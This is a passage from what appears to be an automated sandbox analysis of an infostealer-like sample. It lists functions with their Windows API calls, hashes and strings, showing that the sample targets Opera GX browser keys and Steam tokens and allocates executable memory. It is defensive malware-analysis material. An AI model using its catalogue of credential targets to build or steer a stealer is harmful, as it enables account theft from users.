Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Strings

Opera GX, xrefs: 0040C97F

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: Opera GX
API String ID: 1719890681-3280151751
Opcode ID: 0fb41c61df57f504aaf5de9142bc873bfa384d999c6abac19d8a053c1ed93182
Instruction ID: 2f838092edd703084741f82f1e37e62fc4a331bb811b3281c0e98dae42c078f1
Opcode Fuzzy Hash: 0fb41c61df57f504aaf5de9142bc873bfa384d999c6abac19d8a053c1ed93182
Instruction Fuzzy Hash: 3FB1FD7294011DABCF10FFA6DE425CD7775AF04308F51013AF904771A1DBB8AE8A8B99

Function 00407B0B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002,?,?,?,?,00407C56,?), ref: 00407B8A

Strings

, xrefs: 00407B5D

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction ID: 7cbd0eafb3405f1822ca0081af98c781be9845726f70e814ec0c9ffce599534c
Opcode Fuzzy Hash: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction Fuzzy Hash: 14119D71908509ABDB20DF94C684BAAB3F4FB00348F144466D641E32C0D33CBE85D75B

Function 004170C7 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

lstrlenA.KERNEL32(?), ref: 0041710E

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

Soft\Steam\steam_tokens.txt, xrefs: 0041711E

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 502913869-3507145866
Opcode ID: cc6fcce903024a9fea6a23bafcd441d12855246dee4bda35170fe48c24b99249
Instruction ID: 271d1becf7a3678e07a024325e19a0bcf1d7841c1b1dc1186d3e3fa3453cba64
Opcode Fuzzy Hash: cc6fcce903024a9fea6a23bafcd441d12855246dee4bda35170fe48c24b99249
Instruction Fuzzy Hash: BA017531E0010867CF00FBE6DD478CD7B74AF04358F504136FA0073152D778AA8A86D5

Function 00411E1F Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Strings

1iA, xrefs: 00411E47

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID: 1iA
API String ID: 3494564517-1863120733
Opcode ID: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction ID: dc66f3ebc75c526b8f29ca666c763a1a9938aadc44e5483d7dab6bcf02b3e8fe
Opcode Fuzzy Hash: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction Fuzzy Hash: 08E02B3AA41B201FC7724BAA8804AB7BB5A9FC2F61B18412BDF49CB324D535CC4182E4

Function 00409072 Relevance: 2.7, APIs: 2, Instructions: 163stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 00409209
lstrlenA.KERNEL32(?), ref: 00409224

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 718311eb3050d98c9a531c4c409263d505852a46ec7b88af86700a363608c163
Instruction ID: 7980a2431a17434d4a9fc19140cc267ce1297f5f23c66c0477910a4dd415bd4c
Opcode Fuzzy Hash: 718311eb3050d98c9a531c4c409263d505852a46ec7b88af86700a363608c163
Instruction Fuzzy Hash: 5A513D71A00119ABCF01FBA5EE468DD7775AF04309F50002AF500B71A2DBB8AE898B99

Function 004077F8 Relevance: 2.6, APIs: 2, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040,00000000,?,?,?,00407C18,?,?), ref: 0040784A
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00407874

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction ID: 58502b0b00c881bab5b754626ee9ce4ad9b10c36d9ff74d45ae59ae86afa5875
Opcode Fuzzy Hash: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction Fuzzy Hash: C311B472A44705ABC724CFB8C989B9BB7F4EB40714F24483EE54AE7390E274B940C715

Function 0041CCCB Relevance: 2.5, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041CCDC

Part of subcall function 0041BC7F: lstrlenA.KERNEL32(?,0041CCED,0041CD8F,00000000,06400000,00000003,00000000,0041768F,.exe,00436C5C,00436C58,00436C54,00436C50,00436C4C,00436C48,00436C44), ref: 0041BCB1
Part of subcall function 0041BC7F: malloc.MSVCRT ref: 0041BCB9
Part of subcall function 0041BC7F: lstrcpyA.KERNEL32(00000000,?), ref: 0041BCC4

malloc.MSVCRT ref: 0041CD19

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc$lstrcpylstrlen
String ID:
API String ID: 2974738957-0
Opcode ID: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction ID: fcaced55c1c361c3e27715ea7ae3a17afdad1615e326a9d39dd71d0aa4f9bcfc
Opcode Fuzzy Hash: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction Fuzzy Hash: 6BF0F0721412166BDB206F6AEC8098BBB94EB457A0F150037FD0997351EA38CC4086F9

Function 004185BE Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cd0dd478d9f607c979a352132b68459f789e2a2a0c4ffcb15ea7dc3a842640c
Instruction ID: c1de0727e8417f3a856ade1607230127397a68712c8c4452783f7dfbc6220367
Opcode Fuzzy Hash: 1cd0dd478d9f607c979a352132b68459f789e2a2a0c4ffcb15ea7dc3a842640c
Instruction Fuzzy Hash: D7514F71901240BFCA617BAE854DEF5B2D6AFA0328F14048FB404AA272DF6D8DD05D6D

Function 00407BD2 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction ID: 6bc4e95e4b4d41cd45bcf0090cf4f159da268bf51a5422b08fd3501f4d4963e9
Opcode Fuzzy Hash: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction Fuzzy Hash: 01319E71D0C2149FDF16DF55D8808AEBBB1EF84354B20816BE411B7391D738AE41DB9A

Function 00411DBC Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 352223032d3244ad9dc512ea0f38e2caed61f8f95f67dbfdd7722c11f9f2bd61
Instruction ID: 70aa0c5f5db09bd9b177b6aa788367f122bed66c5b4d8e76533133e42ab6cc8a
Opcode Fuzzy Hash: 352223032d3244ad9dc512ea0f38e2caed61f8f95f67dbfdd7722c11f9f2bd61
Instruction Fuzzy Hash: B3F03AB2E0015DABDB15DF78DC909EEB7FCEB48204F0045BAB909D3281EA349F458B94

Function 00411D92 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction ID: 4d5d301e7642eb8bcabe02fa2709f808051272e3482dadb5ff4d38445e53d8c5
Opcode Fuzzy Hash: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction Fuzzy Hash: 56D05E31A00138578B5097A9FC044DEBB49CB817B5B005263FA6D9A2F0C265AD9242D8

Function 00412541 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 00412577

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID:
API String ID: 3080627654-0
Opcode ID: 11d7e75e8fb048daadeff50fbe913edc7fb5e8de74ef351f238d313e6dfef050
Instruction ID: ef242af97a818274634bdf18eaf41cd9f3ea813bb85b2b5ad444d7661f99d088
Opcode Fuzzy Hash: 11d7e75e8fb048daadeff50fbe913edc7fb5e8de74ef351f238d313e6dfef050
Instruction Fuzzy Hash: CAE09AB0D0420E9FDF44EFE4D5152DDBAF8BF08308F40916AC115F3240E37442058BA9

Function 0041C440 Relevance: 1.3, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041C451

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: f9060b93a179226b6bcb6403471e41fabc2e13e5dadf3889cf2d7472838e218b
Instruction ID: b821a3ed68e39ced0a1ee7d52ccadc00ba9e28cef2c83c113185a37151cab313
Opcode Fuzzy Hash: f9060b93a179226b6bcb6403471e41fabc2e13e5dadf3889cf2d7472838e218b
Instruction Fuzzy Hash: A221F6742007108FC320DF6ED495996B7F1FF49314B14486EEA8A8B722D776E880CB15

Function 00407EAE Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00407EB5

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction ID: a2ed24522b90cf8d72a71430dfd18e5bb138dd64580460ce79602bb5834a96d0
